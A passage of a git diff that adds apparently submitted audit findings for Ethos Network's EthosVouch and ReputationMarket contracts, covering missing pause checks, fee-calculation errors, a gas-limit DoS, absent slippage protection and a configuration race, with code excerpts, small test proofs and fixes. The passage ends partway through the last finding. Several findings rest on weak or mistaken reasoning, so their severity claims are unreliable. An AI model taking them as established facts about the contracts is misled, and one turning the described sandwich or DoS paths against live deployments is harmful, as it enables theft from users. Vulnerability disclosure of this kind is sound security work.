+In `ReputationMarket::updateDonationRecipient` function, an additional check should be introduced to validate that new donation recipient must not be same as existing donation recipient. \ No newline at end of file diff --git a/662.md b/662.md new file mode 100644 index 0000000..9aee930 --- /dev/null +++ b/662.md @@ -0,0 +1,62 @@ +Energetic Inky Hamster + +Medium + +# Missing `whenNotPaused` modifier for `increaseVouch()` + +### Summary + +Missing `whenNotPaused` modifier for `increaseVouch()` allows users to call `increaseVouch()` even when paused, which may lead users loss more fund. + +### Root Cause + +In [`EthosVouch.sol:426`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426), there is not `whenNotPaused` modifier, which allows users to call `increaseVouch()` even when paused. +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` + +### Internal pre-conditions + +1. EthosVouch is paused. + +### External pre-conditions + +1. Hacker has access to steal the fund of the contract + +### Attack Path + +_No response_ + +### Impact + +When EthosVouch is facing fund loss and the owner paused it, unsuspecting users can still call `increaseVouch()` to send ETH to the contract and loss more fund. + +### PoC + +_No response_ + +### Mitigation + +add `whenNotPaused` modifier +```diff +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ++ function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { +``` \ No newline at end of file diff --git a/663.md b/663.md new file mode 100644 index 0000000..f880fae --- /dev/null +++ b/663.md @@ -0,0 +1,44 @@ +Deep Ruby Troll + +Medium + +# Reward Redistribution for Previous Vouchers on Vouch Increase + +### Summary + +by calculating fees it sends some of the fees back to us since we are 1 of the ```previousVouchers``` + +### Root Cause + +When ```increaseVouch``` is called it increases the balance of vouches it also calls ```applyFees``` function which ```_rewardPreviousVouchers``` this causes some of the fees that should go to ```previousVouchers``` to come back to us since we already vouched once and our vouch is saved. + +1. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L444 + +2. https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929-L965 + +3.https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697-L739 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +some of the fees sent back to the msg.sender since he is already a ```previousVoucher``` + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/664.md b/664.md new file mode 100644 index 0000000..01ef961 --- /dev/null +++ b/664.md @@ -0,0 +1,54 @@ +Bald Lace Cyborg + +High + +# wrong Accounting of market funds in buyVotes could result in lack of funds. + +### Summary + +In Reputation.sol, market Funds is being over accounted with funds paid. as it includes both fees too. +This could lead to the situation where, market funds will be claimed, that amount would not be there only. As it was calculated two times + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942C1-L983C4 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +Here root cause is funds paid which is obtained from calculate buy function. includes all 3, protocol fee, donation and votes price. +Now when fucntion iterate forwards, apply fees is being called in which, both protocol fee and donation is being accounted and transfered. + +now when at last marketFunds[profileid] is being accounted, there funds paid is used. but here problem would occur as it is being already used. and here only amount accumulated from amount from votes should be there. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +lets consider a scenario as example + +When a user wants to buy 4 tokens , and 10 ether msg.value would be there. here there would be market situation when +fundsPaid would be calculated would be the way as, 0.4 eth as protcol fee , 0.4 eth as donation fee. Now lets consider not refund is there. + +so when apply fees would be called. 0.8 fees would be used. + +but still, when marketFunds is incremented, it is incremented by 10 ether. But really 0.8 is already used. + +so situation could occur when he will claim this , actual it will be not present and it will revert. And it will break the invariant + +### Impact + +two times accounting of same fees is there, so situaiton could arise where, it will be withdrawed , actual funds would not be there, and this could break the invariant + +### PoC + +_No response_ + +### Mitigation + +when marketFunds[profileId] is incremented, fundsPaid should not be used. instead fees should be subtracted \ No newline at end of file diff --git a/665.md b/665.md new file mode 100644 index 0000000..0522efb --- /dev/null +++ b/665.md @@ -0,0 +1,49 @@ +Able Wooden Condor + +Medium + +# Potential Misconfiguration of Donation Basis Points + +### Summary + +At raputationMarket.sol. The setDonationBasisPoints function allows an administrator to set the percentage of donations, expressed in basis points, with a maximum of 500 (5%). It ensures that the input does not exceed the defined MAX_DONATION_BASIS_POINTS but does not explicitly check for a zero value. + +### Root Cause + +In raputationMarket.sol l593 The lack of a 0 basis points check could lead to, since the donation percentage is 0, no donations would be deducted or allocated. This effectively disables the donation. This is a logic vulnerability and should be restricted. The function should include a minimum value check to prevent this misconfiguration. + +### Internal pre-conditions + +The function setDonationBasisPoints is called. +basisPoints is set to 0. +No explicit zero-value check exists in the function logic. + +### External pre-conditions + +The caller is an administrator with the necessary privileges. +The contract is not paused. + +### Attack Path + +An admin sets basisPoints to 0 through setDonationBasisPoints. +Donation deductions are effectively disabled due to zero percentage allocation. +Donations meant for specific purposes (e.g., funding or incentives) are not collected, disrupting the intended operation. + +### Impact + +Revenue Disruption: No donations are collected, potentially halting funding for critical activities. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L593-L598 + +### PoC + +// Deploy the contract and call the following: +contract.setDonationBasisPoints(0); + +// Expected Behavior: +- Donations are no longer collected during transactions. +- Any functionality dependent on the donation mechanism is disrupted. + + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/666.md b/666.md new file mode 100644 index 0000000..0fabcfe --- /dev/null +++ b/666.md @@ -0,0 +1,30 @@ +Refined Lavender Crab + +Medium + +# Admin can set fees causing total fees to exceed 10% + +## Vulnerability Detail + +In `EthosVouch`, `MAX_TOTAL_FEES` that can be charged is set to 100% (10000 basis points) instead of the intended 10% (1000 basis points) limit. + +In the READMe + +> + + For both contracts: + Maximum total fees cannot exceed 10% + +This means an admin could unknowingly set fees that add up to more than 10%, causing users to pay much higher fees than they should when vouching or unvouching. This goes against the protocol's intended fee limits and breaks protocol's invariant. + +## Code Snippet + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +## Impact + +Users will have to pay much higher fees than the protocol intended, since fees can exceed the 10% limit that was supposed to be in place + +## Recommendation + +set `MAX_TOTAL_FEES` to 1000 instead of 10000 diff --git a/667.md b/667.md new file mode 100644 index 0000000..7203318 --- /dev/null +++ b/667.md @@ -0,0 +1,75 @@ +Suave Ceramic Crane + +High + +# DoS to excceding limit of gas transaction in `ReputationMarket::buyVotes` + +### Summary + +In Reputation Markets, users are allowed to buy unlimited votes, this is showed by this [test](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/test/reputationMarket/rep.market.test.ts#L110C3-L118C6) in `ethos/packages/contracts/test/reputationMarket/rep.market.test.ts`. +The [`buyVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442C3-L493C4) is implemented in a way that calculates the votes to buy using this while loop in [`_calculateBuy`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942C3-L983C4): +```solidity + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +``` +While `fundsAvailable` greater than `votePrice` the function continues to iterate. +This will lead to massive gas costs if a user wants to by 300ETH of a vote in the start of a market, exceeding the maximum amount of gas to a block in Ethereum, wich is 30M gas, provided by [etherscan](https://etherscan.io/blocks). + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +If a user wants buys a lot of votes it will lead to DoS. + +### PoC + +Modify the current test in the file: +`ethos/packages/contracts/test/reputationMarket/rep.market.test.ts` to: +```ts +it('should allow a user to buy unlimited positive votes', async () => { + const amountToBuy = DEFAULT.buyAmount * 18000n; + + const { trustVotes: positive, distrustVotes: negative, gas } = await userA.buyVotes({ + buyAmount: amountToBuy, + sellVotes: 0n + }); + + console.log(`Gas Used for buying ${amountToBuy} ETH worth of TRUST votes: ${positive}`); + + console.log(`Gas Used for buying ${positive} TRUST votes -> gas = ${gas.toString()}`); + expect(negative).to.equal(0); + }); +``` +the logs: + +````bash +ReputationMarket +Gas Used for buying 180000000000000000000 ETH worth of TRUST votes: 18009 +Gas Used for buying 18009 TRUST votes -> gas = 28233213 +``` + +This PoC shows that if someone buys more than 20_000 votes the amount of gas in the transaction will exceed the maximum amount allowed and it will revert. + +### Mitigation + +Change the structure of `buyVotes` and `_calcVotePrice` so it doesn't iterate over the total valued of funds a profile has available to buy. \ No newline at end of file diff --git a/668.md b/668.md new file mode 100644 index 0000000..48fba4f --- /dev/null +++ b/668.md @@ -0,0 +1,77 @@ +Massive Brown Crow + +Medium + +# Asymmetric slippage protection in vote trading creates price manipulation risk + +### Summary + +Lack of slippage protection in `ReputationMarket.sol::sellVotes` while present in `ReputationMarket.sol::buyVotes` will cause potential losses for sellers as: + +1. Malicious actors can manipulate price through sandwich attacks or MEV +2. Even without malicious intent, users might suffer unexpected losses from normal market movements that occur between transaction submission and execution + +### Root Cause + +In `ReputationMarket.sol`, implementing slippage protection only for buying votes but not for selling is a mistake, as it creates inconsistent protection against price manipulation. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 + +### Internal pre-conditions + +1. Market needs to exist with active trading volume. +2. No active paused state on the contract. +3. Price needs to be volatile enough to move significantly between transaction submission and execution (which could happen from normal trading activity or manipulation). + +### External pre-conditions + +For MEV scenario: +1. Base L2 network congestion needs to be sufficient to allow transaction reordering. +2. MEV infrastructure needs to be present on Base L2. + +For market volatility scenario: +Normal market activity causing price changes during the period between transaction submission and inclusion. + +### Attack Path + +Scenario 1 (Malicious - MEV): + +1. Attacker frontRuns with a large buy order, pushing up the price +2. Victim's sell transaction executes at manipulated price +3. Attacker backruns with sell order at higher price + +Scenario 2 (Non-Malicious - Market Volatility): + +1. User submits sell transaction at current market price +2. Natural market movements occur (other trades, changing supply/demand) +3. Transaction gets included at a significantly different price +4. User's trade executes at unexpected price with no ability to specify acceptable bounds + +### Impact + +The sellers suffer losses proportional to the price manipulation, while attackers profit from the price difference. While the practical risk is reduced due to deployment on Base L2 where MEV infrastructure is less developed, the inconsistency in protection between buy/sell functions suggests this is an oversight rather than intentional design. + +### PoC + +The vulnerability is clearly demonstrated by the code inspection itself - we can directly see the asymmetric protection between buy and sell functions. + +Presence of slippage protection in `ReputationMarket.sol::buyVotes`: https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L461 + +Absence of slippage protection in `ReputationMarket.sol::sellVotes`: https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 + +### Mitigation + +Add slippage protection to sellVotes() similar to buyVotes(): + +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount, + uint256 slippageBasisPoints // Add parameter +) public { + ... + _checkSlippageLimit(fundsReceived, expectedFunds, slippageBasisPoints); + ... +} +``` \ No newline at end of file diff --git a/669.md b/669.md new file mode 100644 index 0000000..f10f017 --- /dev/null +++ b/669.md @@ -0,0 +1,44 @@ +Deep Ruby Troll + +Medium + +# Admin's Funds Used When calling createMarketWithConfigAdmin + +### Summary + +uses admins msg.value to create the market and also sends the remaining funds to his address + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L301-L350 + +Since admin is calling the function ```createMarketWithConfigAdmin``` the msg.value is assigned to his address then there is a call to +```_createMarket``` it creates the market and uses msg.value (admins funds) to do some processes and at the end it sends the ramining funds back to admins address msg.value. It should use the marketOwner funds to do those stuff + +```solidity +_sendEth(msg.value - initialLiquidityRequired); +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Admins funds being used to create a market for ```marketOwner``` + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/670.md b/670.md new file mode 100644 index 0000000..9111667 --- /dev/null +++ b/670.md @@ -0,0 +1,48 @@ +Early Paisley Hornet + +Medium + +# Unrestricted update of donation recipient will cause locked funds for profiles with a contracts unable to receive ETH can be set as recipients. + +### Summary + +The missing validation in updateDonationRecipient allows setting any address, including contracts that do not accept ETH, as the recipient. This will cause locked funds for the affected profile, as withdrawDonations will revert when attempting to transfer ETH to a recipient that cannot accept payments. + +But this is even a general problem about the lack of a way to withdraw native currency from a contract where it is widely used by users and can be blocked due to their mistakes. + +### Root Cause + +In ReputationMarket.sol:570 https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L570 +In ReputationMarket.sol:570 https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L544 + +In ReputationMarket.sol, the updateDonationRecipient function does not validate whether the new recipient address is capable of receiving ETH. In addition, the function has a clear limitation that only the old address can assign a new recipient. Therefore, if the recipient's contract does not have the ability to call this function, the situation becomes even more severe. This allows any address, including contracts without proper fallback or receive functions, to be set as the recipient. When withdrawDonations is called for such a recipient, the _sendEth function will revert due to failed ETH transfer. + +### Internal pre-conditions + +1. User calls updateDonationRecipient and sets the recipient to a contract address. +2. The new recipient contract does not implement receive or fallback functions to accept ETH and can't call to the updateDonationRecipient. + +### External pre-conditions + +1. The user calls withdrawDonations for the profile. +2. The _sendEth function fails, as the recipient contract reverts when attempting to accept ETH. + +### Attack Path + +1. User unintentionally sets a recipient address to a contract that cannot accept ETH. +2. Any call to withdrawDonations for the affected profile fails, as _sendEth reverts due to the recipient contract’s inability to accept ETH. + +### Impact + +Locked funds in the contract for affected profiles. Users cannot withdraw donations. + +### PoC + +_No response_ + +### Mitigation + +1. Validate the recipient in updateDonationRecipient. +2. Fallback handling in _sendEth. +3. Allow admins to reset the donation recipient if the current one fails to accept ETH. +4. Allow other profile addresses to withdraw tokens if necessary \ No newline at end of file diff --git a/671.md b/671.md new file mode 100644 index 0000000..66ee451 --- /dev/null +++ b/671.md @@ -0,0 +1,39 @@ +Rich Blue Zebra + +Medium + +# `increaseVouch` does not respect the pause mode of protocol + +### Summary + +The missing `whenNotPaused` modifier at `increaseVouch` function will allow the auther of vouch to increase the balance of vouch which is not intended behviour of protocol and the sponsor cinfirm that they just forget to add this modifier at `increaseVouch` function. + +### Root Cause + +Missing modifier `whenNotPaused` at `increaseVouch` will allow the intended behavior to increase the vouch balance when protocol is paused. +[Here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) + +### Internal pre-conditions + +The protocol is in paused state. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The intended bahviour is not followed here. When the protocol is in paused state not deposit and withdrawals are allowed but due to this missing check the user can still deposit funds via calling `increaseVouch` function. + +### PoC + +1. The Admin set the protocol in paused state. +2. The author called `increaseVouch` and deposit funds in protocol + +### Mitigation + +add `whenNotPaused` modifier to `increaseVouch` function. \ No newline at end of file diff --git a/672.md b/672.md new file mode 100644 index 0000000..7df3b0b --- /dev/null +++ b/672.md @@ -0,0 +1,75 @@ +Rough Admiral Yak + +Medium + +# Incorrect Vouch Data Retrieval After Unvouching + +### Summary + +View functions may become unusable or return incorrect vouch data due to mapping issues after unvouching. When a user unvouches, the `vouchIdByAuthorForSubjectProfileId` mapping deletes, leading to potential inconsistencies. This can cause the view functions to either fail outright or return incorrect vouch data. + + +### Root Cause + +In the unvouch function, while the vouch is marked as archived and removed from arrays, the mapping `vouchIdByAuthorForSubjectProfileId` is deleted. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol?plain=1#L1037-L1038 + +```javascript +function _removeVouchFromArrays(Vouch storage v) private { + ... SNIP ... + // the author->subject mapping is only for active vouches; remove it + delete vouchIdByAuthorForSubjectProfileId[v.authorProfileId][v.subjectProfileId]; +} +``` + +The issue arises when `verifiedVouchByAuthorForSubjectProfileId` or `verifiedVouchByAuthorForSubjectAddress` functions are called. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol?plain=1#L759-L795 + +These functions retrieve the vouchId using: + +```javascript +uint256 id = vouchIdByAuthorForSubjectProfileId[author][subjectProfileId]; +``` + +If the vouch has been unvouched, this id is 0, as the mapping is deleted during unvouching. Then, the function performs checks: + +```javascript +_vouchShouldBelongToAuthor(id, author); +if (vouches[id].subjectProfileId != subjectProfileId) { + revert WrongSubjectProfileIdForVouch(id, subjectProfileId); +} +``` + +Since id is 0, this part most likely revert since the vouch with id = 0 most likely does not belong to the author or subject profile id is different. even if the revert does not occur for some reason (if author is first user ever vouched and subjects is same and ...), the function incorrectly return the vouch with id = 0. + +this issue also exists in `vouchExistsFor` function which retrieve vouch id the same way. + +### Internal pre-conditions + +- A user must unvouch. + + +### External pre-conditions + +_No response_ + +### Attack Path + +- The user vouches for a subject profile +- The user then unvouches, marking the vouch as archived and deleting the `vouchIdByAuthorForSubjectProfileId` mapping for that subject profile +- When the user or another party attempts to call `verifiedVouchByAuthorForSubjectProfileId` or `verifiedVouchByAuthorForSubjectAddress` for that subject profile, the function will revert. + + +### Impact + +Both the `verifiedVouchByAuthorForSubjectProfileId` and `verifiedVouchByAuthorForSubjectAddress` functions will become unusable for users who have unvouched subject profile. Users and third parties relying on these view functions to retrieve vouch data will be unable to do so, leading to potential misinformation and a loss of trust in the system. + + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/673.md b/673.md new file mode 100644 index 0000000..244ac2a --- /dev/null +++ b/673.md @@ -0,0 +1,129 @@ +Long Eggplant Eagle + +Medium + +# Protocol will get less fee than the set fee-basis-points in EthosVouch.sol + +### Summary + +The function calFee() used to calculate and get fees taken by the protocol. It's used in the applyFee() which is called when a user vouch, increase vouch and unvouch. The protocol takes a different approach when calculating fees which results in less fee than the usual calculation. + +### Root Cause + +The [calFee()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975) calculates in the following way: + +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` +This calculation cannot support high fees and is not accurate except for small fees. + +To prove my point, although this is hypothetical, assume feeBasisPoints is 10000(i.e 100%). The function will return half of the total instead of the total. + +If `feeBasisPoints` is 5000(i.e 50%), the function will return 1 / 3 of the total as fees. + +If `feeBasisPoints` is 2500(i.e 25%), the function will return 1/5 of the total as fees. + +This is not possible in reality as the protocol will not take such high amount of fees. However even with reasonable `feeBasisPoints`, the protocol still takes less fees than it intends to. + +Lets say the fee is 2.5%(250 basis points) across all fees. Which adds up to 10% total. + +For each calculation of fee, the protocol will take ~2.43% instead of 2.5% as shown in the POC below. + +Since the [applyFee()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929) calculates fees `4` time throughout the lifetime of a vouch, the protocol will take ~0.28% less fee. + +Considering, the fees are also rounded down during calculations, the discrepancy can get bigger in ETH or $ terms. + +### Internal pre-conditions + +Admin needs to set non 0 fees. + +### External pre-conditions + +Users vouch, increase vouch or unvouch. + +### Attack Path + +_No response_ + +### Impact + +The protocol gets less fees than it intends to take. For 1% fees, the protocol will get ~9.9%. For 10% fees the protocol will get ~9.09%. +The more fees it takes, the less fees it gets. + +### PoC + +I created a new contract with just the `calFee()` function and made a Test file for it. + +```solidity +pragma solidity 0.8.26; +import {Math} from "@openzeppelin/contracts/utils/math/Math.sol"; + +contract Cal { + using Math for uint256; + + uint256 public constant BASIS_POINT_SCALE = 10000; + uint256[] public votes; + + function calcFee( + uint256 total, + uint256 feeBasisPoints + ) public pure returns (uint256 fee) { + return + total - (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +} +``` + + +```solidity + +pragma solidity 0.8.26; + +import {Test, console} from "forge-std/Test.sol"; +import {Cal} from "../src/EthosVouch.sol"; +import {Math} from "@openzeppelin/contracts/utils/math/Math.sol"; + +contract EthosVouchMathTest is Test { + Cal public feeCal; + using Math for uint256; + + function setUp() public { + feeCal = new Cal(); + } + + function test_cal(uint256 amount, uint256 feeBasisPoints) public { + amount = 1 ether; + feeBasisPoints = 250; + uint256 fee = feeCal.calcFee(amount, feeBasisPoints); + uint256 deposit = amount - fee; + uint256 actualFeeBP = fee.mulDiv(10000, amount, Math.Rounding.Floor); + + console.log("Fee", fee); + console.log("Deposit", deposit); + console.log("percentage", actualFeeBP); + } +} +``` + +This is the log: + +``` block + [11667] EthosVouchMathTest::test_cal(3, 1) + ├─ [1037] Cal::calcFee(1000000000000000000 [1e18], 250) [staticcall] + │ └─ ← [Return] 24390243902439025 [2.439e16] + ├─ [0] console::log("Fee", 24390243902439025 [2.439e16]) [staticcall] + │ └─ ← [Stop] + ├─ [0] console::log("Deposit", 975609756097560975 [9.756e17]) [staticcall] + │ └─ ← [Stop] + ├─ [0] console::log("percentage", 243) [staticcall] + │ └─ ← [Stop] + └─ ← [Stop] +``` + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/674.md b/674.md new file mode 100644 index 0000000..8421ae7 --- /dev/null +++ b/674.md @@ -0,0 +1,42 @@ +Colossal Felt Dove + +High + +# Lack of slippage protection in sellVotes function + +### Summary + +The sellVotes function lacks slippage protection, which can lead to the user receiving less than expected funds when selling votes. Slippage protection ensures that the amount of funds a user expects to receive from a transaction is within an acceptable range of the actual amount received. Without this, there is a risk that the user may sell votes at a price that is significantly different from the price they expected. + +### Root Cause + +Lack of implementing slippage protection mechanism +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 + +### Internal pre-conditions + +Another transaction to sell a large amount of votes is executed between the initiation and execution of the victim's transaction. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. A user calls the sellVotes function to sell votes for a given market. +2. The function receives the amount of votes to sell and calculates the price, the funds received based on calculated prices. +3. However, there is no check in place to ensure that the fundsReceived is within an range of the expected value. +4. If there is significant price movement between the time the transaction is initiated and processed, the user could receive substantially less funds than expected. + +### Impact + +Users may unintentionally sell votes at an unfavorable price, leading to a loss of funds. + + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/675.md b/675.md new file mode 100644 index 0000000..4a7ca9f --- /dev/null +++ b/675.md @@ -0,0 +1,62 @@ +Gentle Plum Wallaby + +Medium + +# User can create a market with wrong configuration, because of Admin unintentionally altered market configurations + +### Summary + +The race condition between the admin's removal of a market configuration and a user's attempt to create a market will cause a misconfiguration for the user as the admin will remove the intended configuration before the user's transaction is processed. + +### Root Cause + +In `ReputationMarket.sol`, the issue arises from the lack of transaction ordering guarantees when multiple transactions are sent to the Base L2, batched, and then sent to the Ethereum network. Specifically: +- The admin can call `removeMarketConfig(index x)` while a user is calling `createMarketWithConfig(index x)`. If the admin's transaction is processed first, the configuration at index x will be removed before the user's transaction can create the market. +- The `createMarketWithConfig()` function relies on the `marketConfigIndex` parameter to access the `marketConfigs` array. If the index provided by the user corresponds to a configuration that has just been removed, it will lead to unexpected behavior. + +Base L2 uses a technology called Optimistic Rollups. Transactions are collected off-chain, bundled together, and then submitted to Ethereum in batches. When the two transactions (admin's `removeMarketConfig(index x)` and user's `createMarketWithConfig(index x)`) are bundled together and admin's transaction is executed first, the user can create a market with wrong configs. + +### Internal pre-conditions + +_These indexes are used for simplicity, it could be with any indexes._ + +1. Two more market configs are created via `addMarketConfig()`. +2. On index 3 in the array `marketConfigs[3]` we have initial liquidity 1 ether, initial votes 100_000 and base price 0.01 ether. +3. On index 4 in the array `marketConfigs[4]` we have initial liquidity 0.01 ether, initial votes 1 and base price 0.01 ether. + +### External pre-conditions + +1. Admin calls the function `removeMarketConfig(3)` +2. In the same moment, or somewhere around it, a user calls 1 ether and calls the function `createMarketWithConfig(3)` +3. The two transactions are bundled together, and sent to the Ethereum network for execution +4. Admin's transaction is executed before the user's transaction + +### Attack Path + +_No response_ + +### Impact + +_Continuing the example from the Internal and External pre-conditions:_ + +Once admin's transaction is executed, the array `marketConfigs` at index 3 is deleted, and replaced with the one on index 4, so now `marketConfigs[3]` would have such configurations: `initialLiquidity` = 0.01 ether, `initialVotes` = 1, `basePrice` = 0.01 ether. + +Then the user's transaction is executed and he creates a market with wrong configurations. The user would get their 0.99 ether back, however, they thought that they are creating a market of a more premium tier, but they have created the most basic tier market. They are unable to reverse this, and they would have to wait for the market to be eventually graduated and lose a lot of time and the user is left with a market that does not meet their expectations, nor they agreed on it. + +The user is unable to create a new market of a more premium tier, because one user is allowed to have only one market at a time because of this check: [Github Link](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L321-L322) + +```solidity +if (markets[profileId].votes[TRUST] != 0 || markets[profileId].votes[DISTRUST] != 0) { + revert MarketAlreadyExists(profileId); + } +``` + +Neither the admin, nor the user did anything out of the line, however, the user is at disadvantage. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/676.md b/676.md new file mode 100644 index 0000000..166033c --- /dev/null +++ b/676.md @@ -0,0 +1,84 @@ +Festive Rosewood Porpoise + +Medium + +# Mock profile can't claim reward in edge case. + +### Summary + +Mock profile has mechanism to receive reward from vouch activity, and so, it should have right to claim reward. However, mock profile can't claim reward and should be verified to claim reward. However, in edge case where the mock profile can't be verified, the reward can't be claimed and locked forever. + +### Root Cause + +In the [EthosVouch.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L673) function, there is a check where only verified profile can claim the rewards. + +Mock profile can be vouched and receive fee at that time. In the `EthosVouch.claimRewards()` function, only verified profile can vouch the reward. Therefore, mock profile should be verified to claim the rewards. But, in edge case where the mock profile can't be verified due to unavoidable circumstances, they can't claim reward and the reward will be locked forever. + +```solidity + function claimRewards() external whenNotPaused nonReentrant { + (bool verified, , bool mock, uint256 callerProfileId) = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).profileStatusByAddress(msg.sender); + + // Only check that this is a real profile (not mock) and was verified at some point +@> if (!verified || mock) { + revert ProfileNotFoundForAddress(msg.sender); + } + + uint256 amount = rewards[callerProfileId]; + if (amount == 0) revert InsufficientRewardsBalance(); + + rewards[callerProfileId] = 0; + (bool success, ) = msg.sender.call{ value: amount }(""); + if (!success) revert FeeTransferFailed("Rewards claim failed"); + + emit WithdrawnFromRewards(callerProfileId, amount); + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Mock profile can't claim the rewards and the reward will be locked forever. + +### PoC + +_No response_ + +### Mitigation + +Implement same validation for subject profile in `EthosVouch.vouchByProfileId()`. + +```diff + function claimRewards() external whenNotPaused nonReentrant { + (bool verified, , bool mock, uint256 callerProfileId) = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).profileStatusByAddress(msg.sender); + + // Only check that this is a real profile (not mock) and was verified at some point +- if (!verified || mock) { ++ if (!verified && !mock) { + revert ProfileNotFoundForAddress(msg.sender); + } + + uint256 amount = rewards[callerProfileId]; + if (amount == 0) revert InsufficientRewardsBalance(); + + rewards[callerProfileId] = 0; + (bool success, ) = msg.sender.call{ value: amount }(""); + if (!success) revert FeeTransferFailed("Rewards claim failed"); + + emit WithdrawnFromRewards(callerProfileId, amount); + } +``` \ No newline at end of file diff --git a/677.md b/677.md new file mode 100644 index 0000000..7e847c7 --- /dev/null +++ b/677.md @@ -0,0 +1,143 @@ +Damp Shamrock Viper + +High + +# User loses more deposit value because of incorrect fee calculation + +### Summary + +In https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-L938 + +The fee calculation is done differently causing cascaded fees to be calculated wrongly causing loss of funds for the User. The User pays a bigger percentage of the amount to fees instead of the `toDeposit` value + +### Root Cause + 